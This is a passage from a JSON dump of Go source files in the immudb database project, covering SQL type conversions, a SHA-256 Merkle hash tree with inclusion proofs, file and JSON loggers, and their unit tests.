protomodel.FieldType) (sql.SQLValueType, error) {\n\tswitch stype {\n\tcase protomodel.FieldType_STRING:\n\t\treturn sql.VarcharType, nil\n\tcase protomodel.FieldType_UUID:\n\t\treturn sql.UUIDType, nil\n\tcase protomodel.FieldType_INTEGER:\n\t\treturn sql.IntegerType, nil\n\tcase protomodel.FieldType_DOUBLE:\n\t\treturn sql.Float64Type, nil\n\tcase protomodel.FieldType_BOOLEAN:\n\t\treturn sql.BooleanType, nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"%w(%s)\", ErrUnsupportedType, stype)\n}\n\nvar sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) {\n\tswitch stype {\n\tcase sql.VarcharType:\n\t\treturn sql.MaxKeyLen, nil\n\tcase sql.UUIDType:\n\t\treturn 0, nil\n\tcase sql.IntegerType:\n\t\treturn 0, nil\n\tcase sql.BLOBType:\n\t\treturn sql.MaxKeyLen, nil\n\tcase sql.Float64Type:\n\t\treturn 0, nil\n\tcase sql.BooleanType:\n\t\treturn 0, nil\n\t}\n\n\treturn 0, fmt.Errorf(\"%w(%s)\", ErrUnsupportedType, stype)\n}\n\nfunc kvMetadataToProto(kvMetadata *store.KVMetadata) *protomodel.DocumentMetadata {\n\tif kvMetadata == nil {\n\t\treturn nil\n\t}\n\n\treturn &protomodel.DocumentMetadata{\n\t\tDeleted: kvMetadata.Deleted(),\n\t}\n}\n"
  },
  {
    "path": "embedded/document/type_conversions_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage document\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n)\n\nfunc TestStructValueToSqlValue(t *testing.T) {\n\t// Test case for VarcharType\n\tvalue := &structpb.Value{\n\t\tKind: &structpb.Value_StringValue{StringValue: \"test\"},\n\t}\n\tresult, err := structValueToSqlValue(value, sql.VarcharType)\n\trequire.NoError(t, err, \"Expected no error for VarcharType\")\n\trequire.Equal(t, sql.NewVarchar(\"test\"), result, \"Expected Varchar value\")\n\n\t// Test case for VarcharType with NULL value\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NullValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.VarcharType)\n\trequire.NoError(t, err, \"Expected no error for VarcharType with NULL value\")\n\trequire.Equal(t, sql.NewNull(sql.AnyType), result, \"Expected NULL value\")\n\n\t// Test case for IntegerType\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NumberValue{NumberValue: 42},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.IntegerType)\n\trequire.NoError(t, err, \"Expected no error for IntegerType\")\n\trequire.Equal(t, sql.NewInteger(42), result, \"Expected Integer value\")\n\n\t// Test case for IntegerType with NULL value\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NullValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.IntegerType)\n\trequire.NoError(t, err, \"Expected no error for IntegerType with NULL value\")\n\trequire.Equal(t, sql.NewNull(sql.AnyType), result, \"Expected NULL value\")\n\n\t// Test case for BLOBType\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_StringValue{StringValue: \"1234\"},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.BLOBType)\n\trequire.NoError(t, err, \"Expected no error for BLOBType\")\n\tdocID, err := NewDocumentIDFromHexEncodedString(\"1234\")\n\trequire.NoError(t, err)\n\texpectedBlob := sql.NewBlob(docID[:])\n\trequire.Equal(t, expectedBlob, result, \"Expected Blob value\")\n\n\t// Test case for BLOBType with NULL value\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NullValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.BLOBType)\n\trequire.NoError(t, err, \"Expected no error for BLOBType with NULL value\")\n\trequire.Equal(t, sql.NewNull(sql.AnyType), result, \"Expected NULL value\")\n\n\t// Test case for Float64Type\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NumberValue{NumberValue: 3.14},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.Float64Type)\n\trequire.NoError(t, err, \"Expected no error for Float64Type\")\n\trequire.Equal(t, sql.NewFloat64(3.14), result, \"Expected Float64 value\")\n\n\t// Test case for Float64Type with NULL value\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NullValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.Float64Type)\n\trequire.NoError(t, err, \"Expected no error for Float64Type with NULL value\")\n\trequire.Equal(t, sql.NewNull(sql.AnyType), result, \"Expected NULL value\")\n\n\t// Test case for BooleanType\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_BoolValue{BoolValue: true},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.BooleanType)\n\trequire.NoError(t, err, \"Expected no error for BooleanType\")\n\trequire.Equal(t, sql.NewBool(true), result, \"Expected Boolean value\")\n\n\t// Test case for BooleanType with NULL value\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_NullValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, sql.BooleanType)\n\trequire.NoError(t, err, \"Expected no error for BooleanType with NULL value\")\n\trequire.Equal(t, sql.NewNull(sql.AnyType), result, \"Expected NULL value\")\n\n\t// Test case for unsupported type\n\tvalue = &structpb.Value{\n\t\tKind: &structpb.Value_ListValue{},\n\t}\n\tresult, err = structValueToSqlValue(value, \"datetime\")\n\trequire.ErrorIs(t, err, ErrUnsupportedType, \"Expected error for unsupported type\")\n\trequire.Nil(t, result, \"Expected nil result for unsupported type\")\n}\n\nfunc TestProtomodelValueTypeToSQLValueType(t *testing.T) {\n\ttestCases := []struct {\n\t\tname      string\n\t\tvalueType protomodel.FieldType\n\t\tsqlType   sql.SQLValueType\n\t\texpectErr error\n\t}{\n\t\t{\n\t\t\tname:      \"string\",\n\t\t\tvalueType: protomodel.FieldType_STRING,\n\t\t\tsqlType:   sql.VarcharType,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"integer\",\n\t\t\tvalueType: protomodel.FieldType_INTEGER,\n\t\t\tsqlType:   sql.IntegerType,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"double\",\n\t\t\tvalueType: protomodel.FieldType_DOUBLE,\n\t\t\tsqlType:   sql.Float64Type,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"boolean\",\n\t\t\tvalueType: protomodel.FieldType_BOOLEAN,\n\t\t\tsqlType:   sql.BooleanType,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"unsupported\",\n\t\t\tvalueType: 999,\n\t\t\tsqlType:   \"\",\n\t\t\texpectErr: fmt.Errorf(\"%w(%d)\", ErrUnsupportedType, 999),\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tsqlType, err := protomodelValueTypeToSQLValueType(tc.valueType)\n\n\t\t\trequire.Equal(t, tc.expectErr, err)\n\t\t\trequire.Equal(t, tc.sqlType, sqlType)\n\t\t})\n\t}\n}\n\nfunc TestSQLValueTypeDefaultLength(t *testing.T) {\n\ttestCases := []struct {\n\t\tname      string\n\t\tvalueType sql.SQLValueType\n\t\tlength    int\n\t\texpectErr error\n\t}{\n\t\t{\n\t\t\tname:      \"varchar\",\n\t\t\tvalueType: sql.VarcharType,\n\t\t\tlength:    sql.MaxKeyLen,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"integer\",\n\t\t\tvalueType: sql.IntegerType,\n\t\t\tlength:    0,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"blob\",\n\t\t\tvalueType: sql.BLOBType,\n\t\t\tlength:    sql.MaxKeyLen,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"float64\",\n\t\t\tvalueType: sql.Float64Type,\n\t\t\tlength:    0,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"boolean\",\n\t\t\tvalueType: sql.BooleanType,\n\t\t\tlength:    0,\n\t\t\texpectErr: nil,\n\t\t},\n\t\t{\n\t\t\tname:      \"unsupported\",\n\t\t\tvalueType: \"unknown\",\n\t\t\tlength:    0,\n\t\t\texpectErr: fmt.Errorf(\"%w(%s)\", ErrUnsupportedType, \"unknown\"),\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tlength, err := sqlValueTypeDefaultLength(tc.valueType)\n\n\t\t\trequire.Equal(t, tc.expectErr, err)\n\t\t\trequire.Equal(t, tc.length, length)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage embedded\n\nimport \"errors\"\n\nvar ErrIllegalArguments = errors.New(\"illegal arguments\")\nvar ErrAlreadyClosed = errors.New(\"already closed\")\nvar ErrKeyNotFound = errors.New(\"key not found\")\nvar ErrOffsetOutOfRange = errors.New(\"offset out of range\")\nvar ErrIllegalState = errors.New(\"illegal state\")\nvar ErrNoMoreEntries = errors.New(\"no more entries\")\nvar ErrReadersNotClosed = errors.New(\"readers not closed\")\n"
  },
  {
    "path": "embedded/htree/htree.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage htree\n\nimport (\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"math/bits\"\n)\n\nvar ErrMaxWidthExceeded = errors.New(\"htree: max width exceeded\")\nvar ErrIllegalArguments = errors.New(\"htree: illegal arguments\")\nvar ErrIllegalState = errors.New(\"htree: illegal state\")\n\nconst LeafPrefix = byte(0)\nconst NodePrefix = byte(1)\n\ntype HTree struct {\n\tlevels   [][][sha256.Size]byte\n\tmaxWidth int\n\twidth    int\n\troot     [sha256.Size]byte\n}\n\ntype InclusionProof struct {\n\tLeaf  int\n\tWidth int\n\tTerms [][sha256.Size]byte\n}\n\nfunc New(maxWidth int) (*HTree, error) {\n\tvar levels [][][sha256.Size]byte\n\n\tif maxWidth > 0 {\n\t\tlw := 1\n\t\tfor lw < maxWidth {\n\t\t\tlw = lw << 1\n\t\t}\n\n\t\theight := bits.Len64(uint64(maxWidth-1)) + 1\n\n\t\tlevels = make([][][sha256.Size]byte, height)\n\t\tfor l := 0; l < height; l++ {\n\t\t\tlevels[l] = make([][sha256.Size]byte, lw>>l)\n\t\t}\n\t}\n\n\treturn &HTree{\n\t\tlevels:   levels,\n\t\tmaxWidth: maxWidth,\n\t}, nil\n}\n\nfunc (t *HTree) BuildWith(digests [][sha256.Size]byte) error {\n\tif len(digests) > t.maxWidth {\n\t\treturn ErrMaxWidthExceeded\n\t}\n\n\tif len(digests) == 0 {\n\t\tt.width = 0\n\t\tt.root = sha256.Sum256(nil)\n\t\treturn nil\n\t}\n\n\tfor i, d := range digests {\n\t\tleaf := [1 + sha256.Size]byte{LeafPrefix}\n\t\tcopy(leaf[1:], d[:])\n\t\tt.levels[0][i] = sha256.Sum256(leaf[:])\n\t}\n\n\tl := 0\n\tw := len(digests)\n\n\tfor w > 1 {\n\t\tb := [1 + 2*sha256.Size]byte{NodePrefix}\n\n\t\twn := 0\n\n\t\tfor i := 0; i+1 < w; i += 2 {\n\t\t\tcopy(b[1:], t.levels[l][i][:])\n\t\t\tcopy(b[1+sha256.Size:], t.levels[l][i+1][:])\n\t\t\tt.levels[l+1][wn] = sha256.Sum256(b[:])\n\t\t\twn++\n\t\t}\n\n\t\tif w%2 == 1 {\n\t\t\tt.levels[l+1][wn] = t.levels[l][w-1]\n\t\t\twn++\n\t\t}\n\n\t\tl++\n\t\tw = wn\n\t}\n\n\tt.width = len(digests)\n\tt.root = t.levels[l][0]\n\n\treturn nil\n}\n\nfunc (t *HTree) Root() [sha256.Size]byte {\n\treturn t.root\n}\n\n// InclusionProof returns the shortest list of additional nodes required to compute the root\n// It's an adaption from the algorithm for proof construction at github.com/codenotary/merkletree\nfunc (t *HTree) InclusionProof(i int) (proof *InclusionProof, err error) {\n\tif i >= t.width {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tm := i\n\tn := t.width\n\n\tvar offset int\n\tvar l int\n\tvar r int\n\n\tproof = &InclusionProof{\n\t\tLeaf:  i,\n\t\tWidth: t.width,\n\t}\n\n\tif t.width == 1 {\n\t\treturn\n\t}\n\n\tfor {\n\t\td := bits.Len(uint(n - 1))\n\t\tk := 1 << (d - 1)\n\t\tif m < k {\n\t\t\tl, r = offset+k, offset+n-1\n\t\t\tn = k\n\t\t} else {\n\t\t\tl, r = offset, offset+k-1\n\t\t\tm = m - k\n\t\t\tn = n - k\n\t\t\toffset += k\n\t\t}\n\n\t\tlayer := bits.Len(uint(r - l))\n\t\tindex := l / (1 << layer)\n\n\t\tproof.Terms = append([][sha256.Size]byte{t.levels[layer][index]}, proof.Terms...)\n\n\t\tif n < 1 || (n == 1 && m == 0) {\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc VerifyInclusion(proof *InclusionProof, digest, root [sha256.Size]byte) bool {\n\tif proof == nil {\n\t\treturn false\n\t}\n\n\tleaf := [1 + sha256.Size]byte{LeafPrefix}\n\tcopy(leaf[1:], digest[:])\n\n\tcalcRoot := sha256.Sum256(leaf[:])\n\ti := proof.Leaf\n\tr := proof.Width - 1\n\n\tfor _, t := range proof.Terms {\n\t\tb := [1 + 2*sha256.Size]byte{NodePrefix}\n\n\t\tif i%2 == 0 && i != r {\n\t\t\tcopy(b[1:], calcRoot[:])\n\t\t\tcopy(b[1+sha256.Size:], t[:])\n\t\t} else {\n\t\t\tcopy(b[1:], t[:])\n\t\t\tcopy(b[1+sha256.Size:], calcRoot[:])\n\t\t}\n\n\t\tcalcRoot = sha256.Sum256(b[:])\n\t\ti /= 2\n\t\tr /= 2\n\t}\n\n\treturn i == r && root == calcRoot\n}\n"
  },
  {
    "path": "embedded/htree/htree_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage htree\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHTree(t *testing.T) {\n\tconst maxWidth = 1000\n\n\ttree, err := New(0)\n\trequire.NoError(t, err)\n\n\terr = tree.BuildWith([][sha256.Size]byte{sha256.Sum256(nil)})\n\trequire.ErrorIs(t, err, ErrMaxWidthExceeded)\n\n\terr = tree.BuildWith(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, sha256.Sum256(nil), tree.Root())\n\n\ttree, err = New(maxWidth)\n\trequire.NoError(t, err)\n\n\tdigests := make([][sha256.Size]byte, maxWidth)\n\n\tfor i := 0; i < len(digests); i++ {\n\t\tvar b [8]byte\n\t\tbinary.BigEndian.PutUint64(b[:], uint64(i))\n\t\tdigests[i] = sha256.Sum256(b[:])\n\t}\n\n\terr = tree.BuildWith(digests)\n\trequire.NoError(t, err)\n\n\troot := tree.Root()\n\n\tfor i := 0; i < len(digests); i++ {\n\t\tproof, err := tree.InclusionProof(i)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, proof)\n\n\t\tverifies := VerifyInclusion(proof, digests[i], root)\n\t\trequire.True(t, verifies)\n\n\t\tverifies = VerifyInclusion(proof, sha256.Sum256(digests[i][:]), root)\n\t\trequire.False(t, verifies)\n\n\t\tverifies = VerifyInclusion(proof, digests[i], sha256.Sum256(root[:]))\n\t\trequire.False(t, verifies)\n\n\t\tproof.Terms = nil\n\t\tverifies = VerifyInclusion(proof, digests[i], root)\n\t\trequire.False(t, verifies)\n\n\t\tverifies = VerifyInclusion(nil, digests[i], root)\n\t\trequire.False(t, verifies)\n\t}\n\n\terr = tree.BuildWith(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, sha256.Sum256(nil), tree.Root())\n\n\terr = tree.BuildWith(make([][sha256.Size]byte, maxWidth+1))\n\trequire.ErrorIs(t, err, ErrMaxWidthExceeded)\n\n\t_, err = tree.InclusionProof(maxWidth)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n"
  },
  {
    "path": "embedded/logger/file.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"errors\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Deprecated: FileLogger is deprecated and will be removed in a future release.\ntype FileLogger struct {\n\tLogger   *log.Logger\n\tLogLevel LogLevel\n\tout      *os.File\n}\n\n// Deprecated: use method NewLogger instead.\nfunc NewFileLogger(name string, file string) (logger Logger, out *os.File, err error) {\n\tout, err = setup(file)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tlogger = &FileLogger{\n\t\tout:      out,\n\t\tLogger:   log.New(out, name, log.LstdFlags),\n\t\tLogLevel: LogLevelFromEnvironment(),\n\t}\n\treturn logger, out, nil\n}\n\n// NewFileLoggerWithLevel ...\nfunc NewFileLoggerWithLevel(name string, file string, level LogLevel) (logger Logger, err error) {\n\tout, err := setup(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlogger = &FileLogger{\n\t\tLogger:   log.New(out, name+\".log\", log.LstdFlags),\n\t\tLogLevel: level,\n\t}\n\treturn logger, nil\n}\n\nfunc setup(file string) (out *os.File, err error) {\n\tif _, err = os.Stat(filepath.Dir(file)); os.IsNotExist(err) {\n\t\tif err = os.Mkdir(filepath.Dir(file), os.FileMode(0755)); err != nil {\n\t\t\treturn nil, errors.New(\"unable to create log folder\")\n\t\t}\n\t}\n\tout, err = os.OpenFile(file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)\n\tif err != nil {\n\t\treturn out, errors.New(\"unable to create log file\")\n\t}\n\treturn out, err\n}\n\n// Errorf ...\nfunc (l *FileLogger) Errorf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogError {\n\t\tl.Logger.Printf(\"ERROR: \"+f, v...)\n\t}\n}\n\n// Warningf ...\nfunc (l *FileLogger) Warningf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogWarn {\n\t\tl.Logger.Printf(\"WARNING: \"+f, v...)\n\t}\n}\n\n// Infof ...\nfunc (l *FileLogger) Infof(f string, v ...interface{}) {\n\tif l.LogLevel <= LogInfo {\n\t\tl.Logger.Printf(\"INFO: \"+f, v...)\n\t}\n}\n\n// Debugf ...\nfunc (l *FileLogger) Debugf(f string, v ...interface{}) {\n\tif l.LogLevel <= LogDebug {\n\t\tl.Logger.Printf(\"DEBUG: \"+f, v...)\n\t}\n}\n\n// Close the logger ...\nfunc (l *FileLogger) Close() error {\n\tif l.out != nil {\n\t\treturn l.out.Close()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/logger/file_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFileLogger(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"error\")\n\n\tname := t.TempDir()\n\n\toutputFile := filepath.Join(name, \"test-file-logger.log\")\n\tfl, _, err := NewFileLogger(name, outputFile)\n\n\trequire.NoError(t, err)\n\tfl.Debugf(\"some debug %d\", 1)\n\tfl.Infof(\"some info %d\", 1)\n\tfl.Warningf(\"some warning %d\", 1)\n\tfl.Errorf(\"some error %d\", 1)\n\tlogBytes, err := ioutil.ReadFile(outputFile)\n\tlogOutput := string(logBytes)\n\trequire.NoError(t, err)\n\trequire.Contains(t, logOutput, name)\n\trequire.Contains(t, logOutput, \" ERROR: some error 1\")\n\trequire.NotContains(t, logOutput, \"some debug 1\")\n\trequire.NotContains(t, logOutput, \"some info 1\")\n\trequire.NotContains(t, logOutput, \"some warning 1\")\n\trequire.NoError(t, fl.Close())\n\n\toutputFile3 := filepath.Join(name, \"test-file-logger-with-level.log\")\n\tfl3, err := NewFileLoggerWithLevel(name, outputFile3, LogWarn)\n\trequire.NoError(t, err)\n\tfl3.Debugf(\"some debug %d\", 3)\n\tfl3.Infof(\"some info %d\", 3)\n\tfl3.Warningf(\"some warning %d\", 3)\n\tfl3.Errorf(\"some error %d\", 3)\n\tlogBytes, err = ioutil.ReadFile(outputFile3)\n\trequire.NoError(t, err)\n\tlogOutput = string(logBytes)\n\trequire.NotContains(t, logOutput, \"some debug 3\")\n\trequire.NotContains(t, logOutput, \"some info 2\")\n\trequire.Contains(t, logOutput, \" WARNING: some warning 3\")\n\trequire.Contains(t, logOutput, \" ERROR: some error 3\")\n\trequire.NoError(t, fl3.Close())\n\n\toutputFile4 := filepath.Join(name, \"test-file-logger-with-debug-level.log\")\n\tfl4, err := NewFileLoggerWithLevel(name, outputFile4, LogDebug)\n\trequire.NoError(t, err)\n\tfl4.Debugf(\"some debug %d\", 4)\n\tfl4.Infof(\"some info %d\", 4)\n\tfl4.Warningf(\"some warning %d\", 4)\n\tfl4.Errorf(\"some error %d\", 4)\n\tlogBytes, err = ioutil.ReadFile(outputFile4)\n\trequire.NoError(t, err)\n\tlogOutput = string(logBytes)\n\trequire.Contains(t, logOutput, \"some debug 4\")\n\trequire.Contains(t, logOutput, \"some info 4\")\n\trequire.Contains(t, logOutput, \" WARNING: some warning 4\")\n\trequire.Contains(t, logOutput, \" ERROR: some error 4\")\n\trequire.NoError(t, fl3.Close())\n}\n"
  },
  {
    "path": "embedded/logger/json.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage logger\n\nimport (\n\t\"encoding\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\nconst (\n\t// DefaultTimeFormat is the time format to use for JSON output\n\tDefaultTimeFormat = \"2006-01-02T15:04:05.000000Z07:00\"\n\n\t// errInvalidTypeMsg message implies an arg cannot be serialized to json\n\terrInvalidTypeMsg = \"cannot serialize arg(s) to json\"\n\n\t// callerOffset is the stack frame offset in the call stack for the caller\n\tcallerOffset = 4\n\n\t// LogFormatText is the log format to use for TEXT output\n\tLogFormatText = \"text\"\n\n\t// LogFormatJSON is the log format to use for JSON output\n\tLogFormatJSON = \"json\"\n)\n\nvar (\n\t// defaultOutput is used as the default log output.\n\tdefaultOutput io.Writer = os.Stderr\n)\n\nvar _ Logger = (*JsonLogger)(nil)\n\n// JsonLogger is a logger implementation for json logging.\ntype JsonLogger struct {\n\tname       string\n\ttimeFormat string\n\n\ttimeFnc TimeFunc\n\n\tmutex  sync.Mutex\n\twriter io.Writer\n\n\tlevel int32\n}\n\n// NewJSONLogger returns a json logger.\nfunc NewJSONLogger(opts *Options) (*JsonLogger, error) {\n\tif opts == nil {\n\t\topts = &Options{}\n\t}\n\n\toutput := opts.Output\n\tif output == nil {\n\t\toutput = defaultOutput\n\t}\n\n\tl := &JsonLogger{\n\t\tname:       opts.Name,\n\t\ttimeFormat: DefaultTimeFormat,\n\t\ttimeFnc:    time.Now,\n\t\twriter:     output,\n\t}\n\n\tif opts.TimeFnc != nil {\n\t\tl.timeFnc = opts.TimeFnc\n\t}\n\tif opts.TimeFormat != \"\" {\n\t\tl.timeFormat = opts.TimeFormat\n\t}\n\n\tl.level = int32(opts.Level)\n\treturn l, nil\n}\n\nfunc (l *JsonLogger) logWithFmt(name string, level LogLevel, msg string, args ...interface{}) {\n\tmsgStr := fmt.Sprintf(msg, args...)\n\tl.log(name, level, msgStr)\n}\n\n// Log a message and a set of key/value pairs for a given level.\nfunc (l *JsonLogger) log(name string, level LogLevel, msg string, args ...interface{}) {\n\tminLevel := LogLevel(atomic.LoadInt32(&l.level))\n\tif level < minLevel {\n\t\treturn\n\t}\n\n\tl.mutex.Lock()\n\tdefer l.mutex.Unlock()\n\n\tt := l.timeFnc()\n\n\tl.logJSON(t, name, level, msg, args...)\n}\n\nfunc (l *JsonLogger) logJSON(t time.Time, name string, level LogLevel, msg string, args ...interface{}) {\n\tvals := l.getVals(t, name, level, msg)\n\n\tif len(args) > 0 {\n\t\tfor i := 0; i < len(args); i = i + 2 {\n\t\t\tval := args[i+1]\n\t\t\tswitch sv := val.(type) {\n\t\t\tcase error:\n\t\t\t\tswitch sv.(type) {\n\t\t\t\tcase json.Marshaler, encoding.TextMarshaler:\n\t\t\t\tdefault:\n\t\t\t\t\tval = sv.Error()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar key string\n\n\t\t\tswitch st := args[i].(type) {\n\t\t\tcase string:\n\t\t\t\tkey = st\n\t\t\tdefault:\n\t\t\t\tkey = fmt.Sprintf(\"%s\", st)\n\t\t\t}\n\t\t\tvals[key] = val\n\t\t}\n\t}\n\n\terr := json.NewEncoder(l.writer).Encode(vals)\n\tif err != nil {\n\t\tif _, ok := err.(*json.UnsupportedTypeError); ok {\n\t\t\tvals := l.getVals(t, name, level, msg)\n\t\t\tvals[\"warn\"] = errInvalidTypeMsg\n\n\t\t\tjson.NewEncoder(l.writer).Encode(vals)\n\t\t}\n\t}\n}\n\nfunc (l *JsonLogger) getVals(t time.Time, name string, level LogLevel, msg string) map[string]interface{} {\n\tvals := map[string]interface{}{\n\t\t\"message\":   msg,\n\t\t\"timestamp\": t.Format(l.timeFormat),\n\t}\n\n\tif name != \"\" {\n\t\tvals[\"module\"] = name\n\t}\n\n\tlevelStr := levelToString[level]\n\tif levelStr == \"\" {\n\t\tlevelStr = \"all\"\n\t}\n\n\tvals[\"level\"] = levelStr\n\n\tif pc, file, line, ok := runtime.Caller(callerOffset + 1); ok {\n\t\tvals[\"caller\"] = fmt.Sprintf(\"%s:%d\", file, line)\n\t\tif ok {\n\t\t\tf := runtime.FuncForPC(pc)\n\t\t\tvals[\"component\"] = f.Name()\n\t\t}\n\t}\n\n\treturn vals\n}\n\n// Debugf prints the message and args at DEBUG level\nfunc (l *JsonLogger) Debug(msg string, args ...interface{}) {\n\tl.log(l.Name(), LogDebug, msg, args...)\n}\n\n// Infof prints the message and args at INFO level\nfunc (l *JsonLogger) Info(msg string, args ...interface{}) {\n\tl.log(l.Name(), LogInfo, msg, args...)\n}\n\n// Warningf prints the message and args at WARN level\nfunc (l *JsonLogger) Warning(msg string, args ...interface{}) {\n\tl.log(l.Name(), LogWarn, msg, args...)\n}\n\n// Errorf prints the message and args at ERROR level\nfunc (l *JsonLogger) Error(msg string, args ...interface{}) {\n\tl.log(l.Name(), LogError, msg, args...)\n}\n\n// Debugf prints the message and args at DEBUG level\nfunc (l *JsonLogger) Debugf(msg string, args ...interface{}) {\n\tl.logWithFmt(l.Name(), LogDebug, msg, args...)\n}\n\n// Infof prints the message and args at INFO level\nfunc (l *JsonLogger) Infof(msg string, args ...interface{}) 